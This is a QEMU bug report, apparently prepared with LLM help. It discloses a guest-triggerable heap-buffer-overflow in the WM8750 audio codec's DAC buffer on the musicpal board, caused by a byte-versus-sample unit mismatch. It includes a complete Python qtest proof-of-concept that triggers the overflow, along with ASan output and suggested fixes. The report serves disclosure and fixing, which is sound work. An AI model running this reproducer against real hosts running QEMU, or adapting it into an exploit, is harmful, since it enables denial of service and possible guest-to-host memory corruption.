Disclaimer: The contents below are largely assisted by LLM, but I have reviewed all contents. ## Host environment - QEMU flavor: `qemu-system-arm` - QEMU version: `qemu.git` master @ `3e3ccab106` (v11.1.0-rc3) - Machine: `musicpal` - Build: `--enable-sanitizers` (ASan/UBSan), clang ## Description of problem `wm8750_dac_buffer()` hands out a raw pointer into a fixed-size codec buffer and advances the write index without ever checking that the requested number of samples fits. The author flagged this when the function was introduced in 2008 and the comment is still there: ```c /* hw/audio/wm8750.c:44 */ uint8_t data_out[4096]; ... /* hw/audio/wm8750.c:664-672 */ void *wm8750_dac_buffer(void *opaque, int samples) { WM8750State *s = (WM8750State *) opaque; /* XXX: Should check if there are <i>samples</i> free samples available */ void *ret = s->data_out + s->idx_out; s->idx_out += samples << 2; s->req_out -= samples << 2; return ret; } ``` The `musicpal` board's audio DMA block calls it with a guest-controlled length. In `hw/audio/marvell_88w8618.c`: ```c /* :219-221 — guest writes MP_AUDIO_TX_THRESHOLD */ case MP_AUDIO_TX_THRESHOLD: s->threshold = (value + 1) * 4; break; /* :84-111 — the callback */ block_size = s->threshold / 2; if (block_size > 4096) /* the ONLY size guard */ return; ... } else { /* 8-bit, mono */ codec_buffer = wm8750_dac_buffer(s->wm, block_size); /* <-- SAMPLE count */ for (pos = 0; pos < block_size; pos++) { *codec_buffer++ = cpu_to_le16(256 * *mem_buffer); /* 2 bytes */ *codec_buffer++ = cpu_to_le16(256 * *mem_buffer++);/* 2 bytes */ } } ``` **The defect is a unit mismatch.** `block_size` is a *byte* count, but on the 8-bit/mono path it is passed to `wm8750_dac_buffer()` as a *sample* count, and the loop then writes **4 bytes per iteration** (two `int16_t`, left and right). So the callback writes `block_size * 4` bytes into a 4096-byte buffer. The three sibling paths get this right — they divide first (`block_size >> 1` for 16-bit mono / 8-bit stereo, `block_size >> 2` for 16-bit stereo) — which is what makes this look like an oversight in one branch rather than a deliberate contract. ### Reachable magnitude `threshold = (V + 1) * 4` and `block_size = threshold / 2 = (V + 1) * 2`, where `V` is the raw guest register value. The only guard is `block_size > 4096`: | guest writes `V` | `block_size` | bytes written | overflow past `data_out[4096]` | |---|---|---|---| | 1023 | 2048 | 8192 | 4096 bytes | | **2047** | **4096** | **16384** | **12288 bytes** | So the worst case is a **12 KiB** overflow, not 4 KiB. The overflow runs off the end of `data_out[]` and then off the end of the heap-allocated `WM8750State` object. The bytes written are attacker-controlled: they are read from guest RAM at `s->target_buffer + s->play_pos`, expanded from 8-bit to 16-bit samples. Note there is *no* accumulation subtlety needed — a single callback overflows. (`idx_out` also accumulates across callbacks when the output buffer does not drain, so smaller thresholds overflow after several ticks; the negative control below shows that variant.) ## Steps to reproduce The reproducer below is self-contained: it drives the board over `qtest`, bit-bangs the WM8750 power register over the board's GPIO I²C lines to enable the codec (which is what starts the audio timer), programs the audio block, then steps the virtual clock. No guest image is required. ```python #!/usr/bin/env python3 """musicpal / wm8750 heap-buffer-overflow reproducer. Usage: QEMU=./build/qemu-system-arm python3 wm8750_repro.py [threshold] (default threshold 1023 -> 8192 bytes into a 4096-byte buffer; use 2047 for the maximum 16384-byte write) """ import os, socket, subprocess, sys, tempfile QEMU = os.environ.get("QEMU", "./build/qemu-system-arm") THRESHOLD = int(sys.argv[1]) if len(sys.argv) > 1 else 1023 GPIO_BASE, OUT_HI = 0x8000D000, 0x50C # bit-banged I2C: SDA=bit13, SCL=bit14 AUDIO_BASE = 0x90007000 MODE, TX_START_LO, TX_THRESHOLD, TX_START_HI = 0x00, 0x28, 0x2C, 0x40 PLAYBACK_EN, MONO = 1 << 7, 1 << 14 # 8-bit mono is the vulnerable path sock = os.path.join(tempfile.mkdtemp(), "qtest.sock") srv = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) srv.bind(sock); srv.listen(1) qemu = subprocess.Popen( [QEMU, "-machine", "musicpal,audiodev=aud0", "-audiodev", "none,id=aud0", "-accel", "qtest", "-display", "none", "-nodefaults", "-m", "32", "-qtest", "unix:path=" + sock]) conn, _ = srv.accept(); conn.settimeout(30) def rd(): buf = b"" while b"\n" not in buf: chunk = conn.recv(65536) if not chunk: break buf += chunk return buf.decode(errors="replace") def qt(cmd): conn.sendall(cmd.encode()); return rd() def gpio(sda, scl): qt("writel 0x%x 0x%08x\n" % (GPIO_BASE + OUT_HI, (sda << 13) | (scl << 14))) class I2C: # minimal write-only bit-bang master def __init__(self): self.sda = self.scl = 1; gpio(1, 1) def _set(self, sda, scl): self.sda, self.scl = sda, scl; gpio(sda, scl) def start(self): self._set(1, 1); self._set(0, 1); self._set(0, 0) def stop(self): self._set(0, 0); self._set(0, 1); self._set(1, 1) def byte(self, b): for i in range(7, -1, -1): self._set((b >> i) & 1, 0); self._set((b >> i) & 1, 1); self._set((b >> i) & 1, 0) self._set(1, 1); self._set(1, 0) # ACK slot (no read-back needed) def reg(self, reg, val): self.start() self.byte(0x1A << 1) # WM8750 write address self.byte(((reg << 1) | ((val >> 8) & 1)) & 0xFF) self.byte(val & 0xFF) self.stop() qt("qtest\n") I2C().reg(0x19, 0xC0) # PWR1: power up -> opens the DAC out-voice buf = 0x10000 # source of the copied bytes (guest RAM) qt("writel 0x%x 0x%x\n" % (AUDIO_BASE + TX_START_HI, buf >> 16)) qt("writel 0x%x 0x%x\n" % (AUDIO_BASE + TX_START_LO, buf & 0xFFFF)) qt("writel 0x%x 0x%x\n" % (AUDIO_BASE + TX_THRESHOLD, THRESHOLD)) qt("writel 0x%x 0x%x\n" % (AUDIO_BASE + MODE, PLAYBACK_EN | MONO)) for _ in range(200000): # let the audio timer fire try: conn.sendall(b"clock_step 100\n"); rd() except Exception: break # QEMU aborted -> the bug hit conn.close(); srv.close() qemu.wait(timeout=10) print("qemu exit:", qemu.returncode) ``` Run with an ASan build: ``` QEMU=./build/qemu-system-arm ASAN_OPTIONS=detect_leaks=0 python3 wm8750_repro.py 1023 ``` ### Observed Deterministic on every run (reproduced 3/3 at `3e3ccab106`): ``` ==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x525000013a70 WRITE of size 2 at 0x525000013a70 thread T0 #0 mv88w8618_audio_callback hw/audio/marvell_88w8618.c:109:33 #1 audio_run_out audio/audio-mixeng-be.c:960 #2 audio_run audio/audio-mixeng-be.c:1178 #3 audio_timer audio/audio-mixeng-be.c:620 #4 timerlist_run_timers util/qemu-timer.c:593 ``` The report locates the address `0 bytes after` the heap-allocated `WM8750State` (8560 bytes, from `object_new()` via `hw/arm/musicpal.c`). **Negative control:** `threshold = 500` (`block_size = 1002`, `1002*4 = 4008 <= 4096`) does not overflow on the first callback — it only trips after `idx_out` has accumulated across many timer ticks, which is the second variant described above. ## Suggested fix direction Two independent problems; fixing either stops the overflow, but both look wrong: 1. `wm8750_dac_buffer()` should bound `idx_out` against `sizeof(s->data_out)` and flush or clamp rather than handing out an out-of-range pointer — the sibling `wm8750_dac_dat()` already does exactly this: `if (s->idx_out >= sizeof(s->data_out) || s->req_out <= 0) wm8750_out_flush(s);` 2. `mv88w8618_audio_callback()`'s 8-bit/mono branch should pass a *sample* count, not the raw byte count — i.e. the guard needs to account for the 4-bytes-per-unit expansion (`block_size * 4 <= sizeof(data_out)`), matching what the `>> 1` / `>> 2` siblings effectively do. ## Please do not confuse this with two earlier commits Both look like this bug from their subject lines but do not touch this path: - `149eeb5fe5` **"hw/wm8750: Fix potential buffer overflow"** (2012) — changes 4 lines in `wm8750_tx()` only; it guards the 2-byte I²C command buffer `s->i2c_data`. It does not touch `data_out`, `idx_out` or `wm8750_dac_buffer()`. - `4bb3893908` **"wm8750: add record buffer underrun check"** (2017) — adds a bounds check to `wm8750_adc_dat()`, i.e. the **ADC/record** path (`data_in` / `idx_in`). The mirrored **DAC/playback** path was left unchanged and is the one reported here. The defect dates to `662caa6f` (2008-04-26), the commit that introduced `wm8750_dac_buffer()` together with its `XXX` comment.